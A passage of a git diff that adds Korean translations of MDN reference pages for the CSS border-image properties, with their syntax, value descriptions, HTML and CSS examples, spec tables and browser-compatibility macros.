+/* Set width and style for all divs */
+div {
+  border: solid 0.3em;
+  width: auto;
+  margin: 0.5em;
+  padding: 0.5em;
+}
+
+ul {
+  margin: 0;
+  list-style: none;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('border-color의_모든_사용법', 600, 300)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-color', 'border-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>The <code>transparent</code> keyword has been removed as it is now a part of the {{cssxref("&lt;color&gt;")}} data type.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>The property is now a shorthand property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-color', 'border-color')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 색상 관련 CSS 속성: {{Cssxref("border")}}, {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}</li>
+ <li>다른 테두리 관련 CSS 속성: {{Cssxref("border-width")}}, {{Cssxref("border-style")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>다른 색상 관련 속성: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color#테두리">CSS로 HTML 요소에 색 입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/border-image-outset/index.html b/files/ko/web/css/border-image-outset/index.html
new file mode 100644
index 0000000000..ee670a5ba8
--- /dev/null
+++ b/files/ko/web/css/border-image-outset/index.html
@@ -0,0 +1,113 @@
+---
+title: border-image-outset
+slug: Web/CSS/border-image-outset
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image-outset
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-outset</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 테두리 상자와 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>의 거리를 설정합니다.</p>
+
+<p><code>border-image-outset</code>으로 인해 요소 바깥에 그려지는 테두리로는 스크롤이 생기지 않으며 마우스 이벤트를 잡아낼 수도 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-outset.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+border-image-outset: 1rem;
+
+/* &lt;number&gt; 값 */
+border-image-outset: 1.5;
+
+/* 세로방향 | 가로방향 */
+border-image-outset: 1 1.2;
+
+/* 위 | 가로방향 | 아래 */
+border-image-outset: 30px 2 45px;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-outset: 7px 12px 14px 5px;
+
+/* 전역 값 */
+border-image-outset: inherit;
+border-image-outset: initial;
+border-image-outset: unset;
+</pre>
+
+<p><code>border-image-outset</code> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("&lt;length&gt;")}}나 {{cssxref("&lt;number&gt;")}}입니다. 음수는 유효하지 않습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 거리를 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 거리를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 거리를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 거리를 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>테두리 거리의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>테두리 거리의 크기로 {{cssxref("border-width")}}의 배수 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="outset"&gt;밖으로 나간 테두리를 가지고 있어요!&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#outset {
+  width: 10rem;
+  background: #cef;
+  border: 1.4rem solid;
+  border-image: radial-gradient(#ff2, #55f) 40;
+  border-image-outset: 1.5;  /* = 1.5 * 1.4rem = 2.1rem */
+  margin: 2.1rem;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "auto", 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-outset', 'border-image-outset')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-outset")}}</p>
diff --git a/files/ko/web/css/border-image-repeat/index.html b/files/ko/web/css/border-image-repeat/index.html
new file mode 100644
index 0000000000..ddca0a7c73
--- /dev/null
+++ b/files/ko/web/css/border-image-repeat/index.html
@@ -0,0 +1,125 @@
+---
+title: border-image-repeat
+slug: Web/CSS/border-image-repeat
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-repeat</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 원본 이미지의 <a href="/ko/docs/Web/CSS/border-image-slice#edge_region">모서리 영역</a>을 요소의 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a> 크기에 맞춰 조절할 때 사용할 방법을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-repeat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-image-repeat: stretch;
+border-image-repeat: repeat;
+border-image-repeat: round;
+border-image-repeat: space;
+
+/* 세로방향 | 가로방향 */
+border-image-repeat: round stretch;
+
+/* 전역 값 */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+</pre>
+
+<p><code>border-image-repeat</code> 속성은 한 개 또는 두 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>을 지정하면 <strong>모든 네 면</strong>이 같은 방식을 사용합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면, 첫 번째 값은 <strong>위와 아래</strong>, 두 번째 값은 <strong>왼쪽과 오른쪽 면</strong>의 방식을 지정합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>stretch</code></dt>
+ <dd>원본 이미지의 모서리 영역을 늘리거나 줄여 간격을 채웁니다.</dd>
+ <dt><code>repeat</code></dt>
+ <dd>원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 마지막 이미지는 잘릴 수 있습니다.</dd>
+ <dt><code>round</code></dt>
+ <dd>원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 늘어나거나 줄어들 수 있습니다.</dd>
+ <dt><code>space</code></dt>
+ <dd>원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 각 타일에 균등하게 공백을 배치합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[7]">#bordered {
+  width: 12rem;
+  margin-bottom: 1rem;
+  padding: 1rem;
+  border: 40px solid;
+  border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27;
+  border-image-repeat: stretch;  /* 라이브 샘플에서 바꿀 수 있습니다 */
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="bordered"&gt;저한테 다양한 테두리 반복 속성을 써보세요!&lt;/div&gt;
+
+&lt;select id="repetition"&gt;
+  &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+  &lt;option value="repeat"&gt;repeat&lt;/option&gt;
+  &lt;option value="round"&gt;round&lt;/option&gt;
+  &lt;option value="space"&gt;space&lt;/option&gt;
+  &lt;option value="stretch repeat"&gt;stretch repeat&lt;/option&gt;
+  &lt;option value="space round"&gt;space round&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var repetition = document.getElementById("repetition");
+repetition.addEventListener("change", function (evt) {
+  document.getElementById("bordered").style.borderImageRepeat = evt.target.value;
+});
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("예제", "auto", 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-repeat', 'border-image-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-repeat")}}</p>
diff --git a/files/ko/web/css/border-image-slice/index.html b/files/ko/web/css/border-image-slice/index.html
new file mode 100644
index 0000000000..7dfb26229b
--- /dev/null
+++ b/files/ko/web/css/border-image-slice/index.html
@@ -0,0 +1,107 @@
+---
+title: border-image-slice
+slug: Web/CSS/border-image-slice
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image-slice
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-slice</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 속성은 {{cssxref("border-image-source")}}로 설정한 이미지를 여러 개의 영역으로 나눕니다. 이렇게 나눠진 영역이 요소의 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>를 이룹니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-slice.html")}}</div>
+
+
+
+<p>이미지는 네 개의 꼭지점, 네 개의 모서리, 한 개의 중앙 총 9개의 영역으로 나눠집니다. 상하좌우 각각의 모서리에서 주어진 거리만큼 떨어진 네 개의 분할선이 영역의 크기를 결정합니다.</p>
+
+<p><a href="/files/3814/border-image-slice.png"><img alt="The nine regions defined by the border-image or border-image-slice properties" src="/files/3814/border-image-slice.png" style="margin: 1px; padding: 1em; width: 460px;"></a></p>
+
+<p>위의 도표로 구역이 어떻게 나뉘는지 확인할 수 있습니다.</p>
+
+<ul>
+ <li>1-4번 구역은 <a id="corner_region" name="corner_region">꼭지점 영역</a>입니다. 코너 영역은 최종 테두리 이미지에서도 코너를 이루며 한 번씩만 그려집니다.</li>
+ <li>5-8번 구역은 <a id="edge_region" name="edge_region">모서리 영역</a>입니다. 모서리 영역은 최종 테두리 이미지의 크기에 맞도록 <a href="/ko/docs/Web/CSS/border-image-repeat">반복하여 그리거나 크기를 조정하는 등 변형</a>됩니다.</li>
+ <li>9번 구역은 <a id="middle_region" name="middle_region">중앙 영역</a>입니다. 기본값으로는 쓰이지 않지만, <code>fill</code> 키워드를 지정한 경우 배경 이미지처럼 사용합니다.</li>
+</ul>
+
+<p>{{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} 속성이 최종 테두리 이미지에서 각 영역의 사용 방법을 지정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 모든 방향 */
+border-image-slice: 30%;
+
+/* 세로방향 | 가로방향 */
+border-image-slice: 10% 30%;
+
+/* 위 | 가로방향 | 아래 */
+border-image-slice: 30 30% 45;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-slice: 7 12 14 5;
+
+/* `fill` 키워드 */
+border-image-slice: 10% fill 7 12;
+
+/* 전역 값 */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+</pre>
+
+<p><code>border-image-slice</code> 속성은 한 개에서 네 개의 <code>&lt;number&gt;</code> 또는 <code>&lt;percentage&gt;</code> 값을 사용해 지정할 수 있습니다. 각각의 숫자는 네 방향 분할선의 위치를 나타냅니다. 음수 값은 유효하지 않고, 최대 크기보다 큰 값은 <code>100%</code>로 잘립니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>을 지정하면, 모든 분할선의 위치가 각각의 기준 모서리에서 동일한 거리만큼 떨어진 곳으로 설정됩니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면, 첫 번째 값은 <strong>위와 아래</strong> 분할선, 두 번째 값은 <strong>왼쪽과 오른쪽</strong> 분할선의 위치를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면, 첫 번째 값은 <strong>위</strong>, 두 번째 값은 <strong>왼쪽과 오른쪽</strong>, 세 번째 값은 <strong>아래</strong> 분할선의 위치를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 분할선의 거리를 순서대로 지정합니다. (시계방향)</li>
+</ul>
+
+<p>선택적으로 아무데나 <code>fill</code> 키워드를 추가할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>모서리에서 분할선까지의 픽셀 거리(래스터 이미지), 또는 좌표 거리(벡터 이미지). 벡터 이미지에서 숫자는 원본 이미지가 아닌 요소의 크기에 상대적이므로 보통 백분율을 선호합니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>모서리에서 분할선까지의 백분율 거리. 가로축은 원본 이미지의 너비에, 세로축은 이미지의 높이에 상대적입니다.</dd>
+ <dt><code>fill</code></dt>
+ <dd>중앙 영역을 보존하여 배경 이미지처럼 사용. 실제 {{cssxref("background")}} 속성보다 위에 그려집니다. 중앙 영역 이미지는 위와 왼쪽 모서리 영역의 크기에 맞도록 늘어납니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-slice', 'border-image-slice')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial defintion</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-slice")}}</p>
diff --git a/files/ko/web/css/border-image-source/index.html b/files/ko/web/css/border-image-source/index.html
new file mode 100644
index 0000000000..8d35053b26
--- /dev/null
+++ b/files/ko/web/css/border-image-source/index.html
@@ -0,0 +1,78 @@
+---
+title: border-image-source
+slug: Web/CSS/border-image-source
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image-source
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-source</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>로 사용할 원본 이미지를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-source.html")}}</div>
+
+
+
+<p>{{cssxref("border-image-slice")}} 속성으로 나뉜 구역을 사용해 최종 테두리 이미지를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-image-source: none;
+
+/* &lt;image&gt; 값 */
+border-image-source: url(image.jpg);
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* 전역 값 */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>테두리 이미지를 사용하지 않습니다. {{cssxref("border-style")}}이 대신 표시됩니다.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>테두리에 사용할 이미지 참조입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>{{cssxref("border-image")}}에서 확인할 수 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-source', 'border-image-source')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-source")}}</p>
diff --git a/files/ko/web/css/border-image-width/index.html b/files/ko/web/css/border-image-width/index.html
new file mode 100644
index 0000000000..a99e3d4bb8
--- /dev/null
+++ b/files/ko/web/css/border-image-width/index.html
@@ -0,0 +1,128 @@
+---
+title: border-image-width
+slug: Web/CSS/border-image-width
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image-width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-width</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>의 너비를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-width.html")}}</div>
+
+
+
+<p>속성의 값이 {{cssxref("border-width")}}보다 크다면 테두리 이미지는 안쪽 여백(과 콘텐츠) 영역을 침범하여 그려집니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-image-width: auto;
+
+/* &lt;length&gt; 값 */
+border-image-width: 1rem;
+
+/* &lt;percentage&gt; 값 */
+border-image-width: 25%;
+
+/* &lt;number&gt; 값 */
+border-image-width: 3;
+
+/* 세로방향 | 가로방향 */
+border-image-width: 2em 3em;
+
+/* 위 | 가로방향 | 아래 */
+border-image-width: 5% 15% 10%;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-width: 5% 2em 10% auto;
+
+/* 전역 값 */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+</pre>
+
+<p><code>border-image-width</code> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 음수는 유효하지 않습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 테두리 너비를 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 테두리 너비를 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>{{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}로 지정한 테두리 너비. 백분율 값은 왼쪽과 오른쪽 테두리에 대해선 테두리 이미지 영역의 너비, 위쪽과 아래쪽에 대해선 테두리 이미지 영역의 높이를 사용해 계산합니다.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>테두리 너비로 {{cssxref("border-width")}}의 배수 사용</dd>
+ <dt><code>auto</code></dt>
+ <dd>방향과 일치하는 {{cssxref("border-image-slice")}}가 가진 원래 너비 또는 높이 사용. 이미지가 원래 크기를 가지고 있지 않으면 방향과 일치하는 <code>border-width</code> 크기를 사용합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 아래의 가로 90픽셀, 세로 90픽셀 이미지를 사용해 테두리 이미지를 생성합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10470/border.png"></p>
+
+<p>원본 이미지의 각 원은 가로 30픽셀, 세로 30픽셀입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;밤을 쉬이 봄이 무성할 릴케 듯합니다. 토끼, 써 이런 하나에 듯합니다. 이네들은 나는 패, 듯합니다.
+   나는 보고, 딴은 토끼, 이런 멀리 듯합니다. 청춘이 가을로 둘 버리었습니다. 걱정도 밤이 나는 애기
+   오는 언덕 경, 계십니다. 멀리 까닭이요, 나는 별빛이 듯합니다. 소녀들의 벌레는 걱정도 까닭이요,
+   북간도에 쓸쓸함과 오면 것은 어머님, 까닭입니다.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  border: 20px solid;
+  border-image: url("https://mdn.mozillademos.org/files/10470/border.png") 30 round;
+  border-image-width: 16px;
+  padding: 40px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 200, 240)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-width', 'border-image-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-width")}}</p>
diff --git a/files/ko/web/css/border-image/index.html b/files/ko/web/css/border-image/index.html
new file mode 100644
index 0000000000..e907da9062
--- /dev/null
+++ b/files/ko/web/css/border-image/index.html
@@ -0,0 +1,168 @@
+---
+title: border-image
+slug: Web/CSS/border-image
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-image
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 주위에 이미지를 그립니다. 일반 <a href="/ko/docs/Web/CSS/border">테두리</a>를 대체합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image.html")}}</div>
+
+
+
+<p><code>border-image</code>는 {{cssxref("border-image-source")}}, {{cssxref("border-image-slice")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}}, {{cssxref("border-image-repeat")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다. 다른 단축 속성과 마찬가지로, 생략한 속성은 <a href="/ko/docs/Web/CSS/initial_value">초기값</a>으로 설정됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 테두리 이미지를 불러오는데 실패할 경우에 대비해 {{cssxref("border-style")}} 속성을 설정해야 합니다. 사실 명세에 따르면 필수로 지정해야 하지만 모든 브라우저가 그렇게 구현하지는 않았습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 이미지 | 슬라이스 */
+border-image: linear-gradient(red, blue) 27;
+
+/* 이미지 | 슬라이스 | 반복 */
+border-image: url("/images/border.png") 27 space;
+
+/* 이미지 | 슬라이스 | 너비 */
+border-image: linear-gradient(red, blue) 27 / 35px;
+
+/* 이미지 | 슬라이스 | 너비 | 거리 | 반복 */
+border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space;
+</pre>
+
+<p><code>border-image</code> 속성은 아래 나열한 값 중 한 개에서 다섯 개 사이를 사용해 지정할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 만약 {{cssxref("border-image-source")}}의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>none</code>이거나 이미지를 그릴 수 없다면 {{cssxref("border-style")}}이 대신 보여집니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;'border-image-source'&gt;</code></dt>
+ <dd>원본 이미지. {{cssxref("border-image-source")}}를 참고하세요.</dd>
+ <dt><code>&lt;'border-image-slice'&gt;</code></dt>
+ <dd>이미지를 구역별로 나눌 때 사용할 슬라이스 크기. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-slice")}}를 참고하세요.</dd>
+ <dt><code>&lt;'border-image-width'&gt;</code></dt>
+ <dd>테두리 이미지 너비. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-width")}}를 참고하세요.</dd>
+ <dt><code>&lt;'border-image-outset'&gt;</code></dt>
+ <dd>테두리 이미지와 요소 외곽의 거리. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-outset")}}을 참고하세요.</dd>
+ <dt><code>&lt;'border-image-repeat'&gt;</code></dt>
+ <dd>원본 이미지의 모서리 구역을 테두리의 크기에 맞출 때의 조정 방법. 두 개 값까지 지정할 수 있습니다. {{cssxref("border-image-repeat")}}을 참고하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="비트맵">비트맵</h3>
+
+<p>이번 예제는 요소의 테두리에 마름모 패턴을 적용합니다. 테두리 이미지의 원본은 가로 81픽셀, 세로 81픽셀의 ".png" 파일로, 8개의 마름모가 사각형의 테두리를 이루고 있습니다.</p>
+
+<p><img alt="an example borderimage" src="https://mdn.mozillademos.org/files/4127/border.png" style="height: 81px; width: 81px;"></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="bitmap"&gt;This element is surrounded by a bitmap-based border image!&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>마름모 하나의 크기에 맞추기 위해, 81을 3으로 나눈 <code>27</code>을 슬라이스 크기로 사용하여 원본 이미지를 모서리와 테두리 구역으로 나눕니다. 테두리 이미지의 중앙을 요소 테두리의 가운데로 맞추기 위해 거리도 각 너비의 절반으로 설정합니다. 마지막으로 반복 값에 <code>round</code>를 지정해 모서리가 끊기거나 잘리지 않도록 설정합니다.</p>
+
+<pre class="brush:css">#bitmap {
+  width: 200px;
+  background-color: #ffa;
+  border: 36px solid orange;
+  margin: 30px;
+  padding: 10px;
+
+  border-image:
+      url("https://mdn.mozillademos.org/files/4127/border.png")  /* 원본 이미지 */
+      27 /                    /* 슬라이스 */
+      36px 28px 18px 8px /    /* 너비 */
+      18px 14px 9px 4px       /* 거리 */
+      round;                  /* 반복 */
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('비트맵', '100%', 200)}}</p>
+
+<h3 id="그레이디언트">그레이디언트</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div id="gradient"&gt;그레이디언트 기반 테두리 이미지에 둘러 쌓인 요소에요!&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css">#gradient {
+  width: 200px;
+  border: 30px solid;
+  border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60;
+  padding: 20px;
+}
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('그레이디언트')}}</p>
+
